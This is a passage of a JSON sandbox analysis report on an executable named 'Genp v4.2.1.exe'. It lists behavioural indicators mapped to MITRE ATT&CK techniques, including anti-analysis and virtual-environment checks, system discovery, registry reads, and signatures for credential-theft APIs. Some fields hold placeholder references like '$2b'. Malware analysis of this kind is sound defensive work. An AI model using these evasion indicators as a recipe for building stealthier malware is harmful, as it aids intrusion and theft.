Related","name":"HTTP requests contain Base64 strings","description":"$2b","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2c","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$2d","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate disk drives (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveTypeW\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1680","relevance":5,"id":"string-998","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006656-00000C2C-3033056991\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006656-00000C2C-3033760149\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006656-00000C2C-3033056991\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006656-00000C2C-3033760149\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCursorPos\" (Indicator: \"GetCursorPos\"; File: \"Genp v4.2.1.exe\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"Genp v4.2.1.exe\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"Genp v4.2.1.exe\")\n Found string \"GetLastInputInfo\" (Indicator: \"GetLastInputInfo\"; Source: \"00000000-00001656-00000C2C-3015892693\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001656.00000002.257253.743F9000.00000002.mdmp\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001656.00000002.257253.743F9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00006656-00000C2C-3035988225\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp\")\n Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpaceEx\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatus\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatusEx\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetDateFormatEx\" (Indicator: \"GetDateFormat\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetTimeFormatEx\" (Indicator: \"GetTimeFormat\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00001656-00000C2C-2968272878\")\n Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00001656.00000000.254252.01812000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetNativeSystemInfo\" in file \"Genp v4.2.1.exe\"\n Found system information discovery API: \"GetSystemInfo\" in file \"Genp v4.2.1.exe\"\n Found system information discovery API: \"GetMonitorInfoW\" in file \"Genp v4.2.1.exe\"\n Found system information discovery API: \"GetEnvironmentStringsW\" in file \"Genp v4.2.1.exe\"\n Found system information discovery API: \"RtlNtStatusToDosErrorNoTeb\" in file \"00000000-00006656.00000002.261062.008C1000.00000020.mdmp\"\n Found system information discovery API: \"RtlNtStatusToDosError\" in \"00000000-00001656.00000002.257253.743F9000.00000002.mdmp\"\n Found system information discovery API: \"GetEnvironmentStringsW\" in \"00000000-00001656.00000002.257253.743F9000.00000002.mdmp\"\n Found system information discovery API: \"ExpandEnvironmentStringsW\" in \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetKeyboardLayoutNameW\" (Indicator: \"GetKeyboardLayout\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"PostMessageW\" (Indicator: \"postmessage\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"SendMessageW\" (Indicator: \"sendmessage\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"EnumChildWindows\" (Indicator: \"enumchildwindows\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"SendMessageTimeoutW\" (Indicator: \"sendmessage\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"FindWindowW\" (Indicator: \"findwindow\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"FindWindowExW\" (Indicator: \"findwindow\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00006656-00000C2C-3033717467\")\n Found reference to API \"FindWindowExA\" (Indicator: \"findwindow\"; Source: \"00000000-00001656.00000000.254252.01812000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"Genpv4.2.1.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00006860)\n \"GenP-v4.2.1.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00007688)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"Genpv4.2.1.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00006860)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"Genpv4.2.1.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00006860)\n \"GenP-v4.2.1.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00007688)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"GenP-v4.2.1.exe\" called \"GetForegroundWindow\" (UID: 00000000-00007688)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"GenP-v4.2.1.exe\" called \"IsWow64Process\" with parameter \"7688\" - (UID: 00000000-00007688)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"6656\" - (UID: 00000000-00006656)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00006656)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"$2e","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"Genpv4.2.1.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006860)\n \"GenP-v4.2.1.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007688)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2f","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\"GenP-v4.2.1.exe\" called \"GetVersionExA\" with parameter 940000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000865b4128561e0000b0677cf1fa7f000000007af1fa7f00000100000000000000b8cddd704800000044612616fb7f000000000000000000000000000000000000010000000000000001000000000000000100000000000000743b7af1fa7f000000000000 (UID: 00000000-00007688)\n \"powershell.exe\" called \"GetVersionExA\" with parameter 940000000a000000000000005d5800000200000000f94d700000000011000000f0f14d7080000000000000000000dd020c0000000000000000000000e0ca3400feba7c7700000000000000008000000080324d7000cb34002d838b750000dd02000000008000000080324d7002000000ec134d7018cb34008b324d7080000000b4374d7001000000a8e44d7044cb340041344d70 (UID: 00000000-00006656)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00006656)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00006656)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00006656)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00006656)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FD91000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"Found string \"select * from Win32_OperatingSystem\" (Indicator: \"select * from \"; Source: \"00000000-00001656-00002714-3015131758\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowW\" (Indicator: \"FindWindowW\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"FindWindowExA\" (Indicator: \"FindWindowExA\"; Source: \"00000000-00001656.00000000.254252.01812000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$30","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"Found string \"set cd door\" (Indicator: \"set \"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"FileTimeToLocalFileTime\" (Indicator: \"FileTimeToLocalFileTime\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00001656.00000002.257253.743F9000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp, 00000000-00006656.00000001.260210.6FE6F000.00000002.mdmp, 00000000-00006656.00000002.261062.74499000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve network parameters of a computer (API string)","description":"Found reference to API \"WNetGetConnectionW\" (Indicator: \"NetGetConnection\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-222","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetForegroundWindow\" (Indicator: \"GetForegroundWindow\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetWindowTextW\" (Indicator: \"GetWindowText\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"EnumWindows\" (Indicator: \"EnumWindows\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"FindWindowW\" (Indicator: \"FindWindow\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"FindWindowExW\" (Indicator: \"FindWindow\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetWindowTextLengthW\" (Indicator: \"GetWindowText\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"FindWindowExA\" (Indicator: \"FindWindow\"; Source: \"00000000-00001656.00000000.254252.01812000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; File: \"Genp v4.2.1.exe\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00001656.00000002.257253.743F9000.00000002.mdmp\")\n Found reference to API \"VerSetConditionMask\" (Indicator: \"VerSetConditionMask\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp\")\n Found reference to API \"VerifyVersionInfoW\" (Indicator: \"VerifyVersionInfo\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00006656.00000000.258291.008D7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeInformationW\" (Indicator: \"GetVolumeInformation\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Executes WMI queries","description":"\"svchost.exe\" issued a query \"select * from Win32_OperatingSystem\"\n \"svchost.exe\" issued a query \"Select Name from Win32_VideoController\"\n \"svchost.exe\" issued a query \"select Name from Win32_Processor\"\n \"svchost.exe\" issued a query \"select TotalPhysicalMemory from Win32_ComputerSystem\"\n \"OSPPSVC.EXE\" issued a query \"select * from Win32_OperatingSystem\"\n \"OSPPSVC.EXE\" issued a query \"select Name from Win32_Processor\"\n \"OSPPSVC.EXE\" issued a query \"Select Name from Win32_VideoController\"\n \"OSPPSVC.EXE\" issued a query \"select TotalPhysicalMemory from Win32_ComputerSystem\"","origin":"API Call","mitre_attack_id":"T1047","relevance":10,"id":"api-56","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$31","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$32","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Reads system mouse configuration","description":"\"GenP-v4.2.1.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\CONTROL PANEL\\MOUSE\";)\n \"GenP-v4.2.1.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\CONTROL PANEL\\MOUSE\";)","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-202","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"Genpv4.2.1.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"GenP-v4.2.1.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"svchost.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"OSPPSVC.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"GenP-v4.2.1.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"svchost.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"svchost.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"OSPPSVC.EXE\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"OSPPSVC.EXE\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used for process discovery","description":"Found string \"select Name from Win32_Processor\" (Indicator: \" Win32_Process\"; Source: \"00000000-00001656-00002714-3014626719\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-513","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"SURICATA IPv4 invalid checksum\" (SID: 2200073, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"\n Detected alert \"ET INFO Observed Cloudflare DNS over HTTPS Domain (cloudflare-dns .com in TLS SNI)\" (SID: 2027695, Rev: 5, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegConnectRegistryW\" in file \"Genp v4.2.1.exe\"\n Found registry modification API: \"RegCreateKeyExW\" in file \"Genp v4.2.1.exe\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00001656.00000002.257253.743F9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; File: \"Genp v4.2.1.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API 